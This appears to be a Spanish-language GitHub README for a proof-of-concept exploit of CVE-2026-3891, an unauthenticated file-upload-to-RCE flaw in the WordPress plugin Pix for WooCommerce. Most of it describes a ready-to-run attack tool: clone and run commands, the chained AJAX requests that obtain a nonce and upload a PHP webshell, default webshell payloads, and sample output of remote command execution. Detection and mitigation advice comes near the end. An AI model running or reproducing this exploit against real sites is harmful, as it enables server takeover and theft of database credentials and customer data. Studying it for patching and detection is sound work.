
PoC para CVE-2026-3891 – RCE de carga de archivos no autenticada en Pix para WooCommerce ≤ 1.5.0. Obtención automática de nonce, carga de PHP y ejecución de comandos.
Exploit de prueba de concepto para CVE-2026-3891 – subida arbitraria de archivos no autenticada que conduce a la ejecución remota de código en el plugin de WordPress Pix for WooCommerce (≤ 1.5.0).
CVE-2026-3891 es una vulnerabilidad crítica en el plugin Pix for WooCommerce, que afecta a todas las versiones hasta la . El plugin no aplica las comprobaciones adecuadas de autorización y tipo de archivo en su manejador AJAX . Un atacante no autenticado puede abusar de esta falla para subir archivos PHP arbitrarios a un directorio de acceso público y lograr la ejecución remota de código en el servidor WordPress subyacente.
lkn_pix_for_woocommerce_c6_save_settingsEste repositorio contiene un PoC de nivel de producción que automatiza toda la cadena de ataque, desde la obtención de un nonce válido hasta la subida de una webshell, con una gestión robusta de errores y una atractiva interfaz CLI.
certificate_crt_path que espera el manejador vulnerable.--check).[ * ], [ + ], [ - ], [ ! ] para una legibilidad inmediata.La causa raíz reside en dos acciones AJAX registradas por el plugin:
lkn_pix_for_woocommerce_generate_nonceadd_action('wp_ajax_nopriv_lkn_pix_for_woocommerce_generate_nonce', ...);
Esta acción está vinculada a wp_ajax_nopriv_*, lo que la hace accesible para visitantes no autenticados. Genera un nonce para la acción lkn_pix_for_woocommerce_c6_settings_nonce y lo devuelve en un envoltorio JSON:
{"success":true,"data":{"nonce":"abc123..."}}
No se realiza ninguna comprobación de privilegios ni autenticación de usuario: cualquiera puede solicitar un nonce válido.
lkn_pix_for_woocommerce_c6_save_settingsadd_action('wp_ajax_lkn_pix_for_woocommerce_c6_save_settings', ...);
Este manejador guarda la configuración del plugin, incluido un campo de subida de archivos llamado certificate_crt_path. Aunque la subida se realiza a través de la función auxiliar media_handle_upload de WordPress, el plugin no:
current_user_can)..php).wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/
Dado que el nonce solo protege contra CSRF y cualquiera puede obtenerlo, un atacante puede encadenar estas dos acciones para subir y ejecutar código PHP arbitrario.
www-data o apache).wp-config.php, credenciales de la base de datos, datos de clientes.requests (instalar con pip install requests).git clone https://github.com/Ch4120N/CVE-2026-3891.git
cd CVE-2026-3891
pip install -r requirements.txt # requests
python CVE-2026-3891.py http://target.com/wordpress
Para un mayor control, utiliza las opciones de línea de comandos:
python CVE-2026-3891.py https://example.com \
-f shell.php \
-p '<?php system($_GET["c"]); ?>' \
--check \
--timeout 20
___ _ _ ____ ___ ___ ___ _ ___ ___ ___ __
/ __)( \/ )( ___)___(__ \ / _ \(__ \ / ) ___(__ )( _ )/ _ \/ )
( (__ \ / )__)(___)/ _/( (_) )/ _/ / _ \(___)(_ \/ _ \\_ / )(
\___) \/ (____) (____)\___/(____)\___/ (___/\___/ (_/ (__)
[CVE-2026-3891]
Pix for WooCommerce Unauthenticated File Upload
Owner: Ch4120N
[ * ] Warming up session (fetching homepage)...
[ * ] Homepage status: 200
[ * ] Requesting nonce (attempt 1/2)...
[ * ] Response status: 200
[ + ] Nonce obtained: 7e8f9a0b1c
[ * ] Uploading payload as woocommerce.php...
[ * ] Upload response status: 200
[ + ] Payload delivered to server.
[ * ] Verifying uploaded file at: http://192.168.56.102/wp-content/plugins/.../certs_c6/woocommerce.php
[ + ] File is accessible (HTTP 200).
[ + ] Webshell URL: http://192.168.56.102/wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/woocommerce.php
# Optional check:
[ * ] Checking shell with command: id
[ + ] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
| Flag | Descripción | Por defecto |
|---|---|---|
target (posicional) | URL base del sitio de WordPress. | Requerido |
-f, --filename | Nombre del archivo PHP a subir. | woocommerce.php |
-p, --payload | Código PHP a subir. | <?php if(isset($_REQUEST["cmd"])){system($_REQUEST["cmd"]);} ?> |
-t, --timeout | Tiempo de espera de la solicitud en segundos. | 15 |
-r, --retries | Reintentos máximos para la obtención del nonce. | 2 |
--no-banner | Suprime el arte ASCII. | (desactivado) |
--no-verify | Omite la comprobación de accesibilidad tras la subida. | (desactivado) |
--check | Ejecuta id en la webshell tras la subida. | (desactivado) |
http://target/wp-admin/admin-ajax.phplkn_pix_for_woocommerce_generate_nonceaction_name=lkn_pix_for_woocommerce_c6_settings_nonce{"success":true,"data":{"nonce":"..."}}wp_ajax_nopriv_*. No se necesita cookie ni sesión.admin-ajax.phplkn_pix_for_woocommerce_c6_save_settings_ajax_nonce – el nonce obtenido anteriormentecertificate_crt_path – una subida de archivo multipart (el payload).php se aceptan y se almacenan sin renombrar.Tras una subida exitosa, el archivo reside en:
/wp-content/plugins/payment-gateway-pix-for-woocommerce/Includes/files/certs_c6/<filename>
Este directorio es directamente accesible desde la web; los archivos PHP se ejecutarán si el servidor web está configurado para procesarlos (que es el valor predeterminado en los servidores gestionados por WordPress).
certs_c6 (especialmente archivos como woocommerce.php, shell.php, etc.).admin-ajax.php con las acciones mencionadas, originadas desde IPs no confiables..../certs_c6/ con parámetros de consulta como ?cmd=id.Supervisa los registros de WordPress para detectar:
/wp-admin/admin-ajax.php con action=lkn_pix_for_woocommerce_generate_nonce y action=lkn_pix_for_woocommerce_c6_save_settings.certs_c6. Utiliza una herramienta de monitorización de integridad de archivos (p. ej., Tripwire, OSSEC) para alertar sobre cambios.certs_c6 (p. ej., usando .htaccess con php_flag engine off).current_user_can('manage_options') para la generación del nonce, y una verificación adecuada del nonce junto con una comprobación de privilegios para la subida).Este proyecto está bajo la Licencia MIT; consulta el archivo LICENSE para más detalles.
Aviso legal: esta herramienta está destinada únicamente a pruebas de seguridad autorizadas y fines educativos. El autor no se hace responsable de ningún uso indebido o daño causado por este software.
Si te resulta útil este PoC, considera darle una ⭐ en GitHub y compartirlo de forma responsable. ¡Las contribuciones, incidencias y pull requests son bienvenidas!
¡Feliz hacking! 🛡️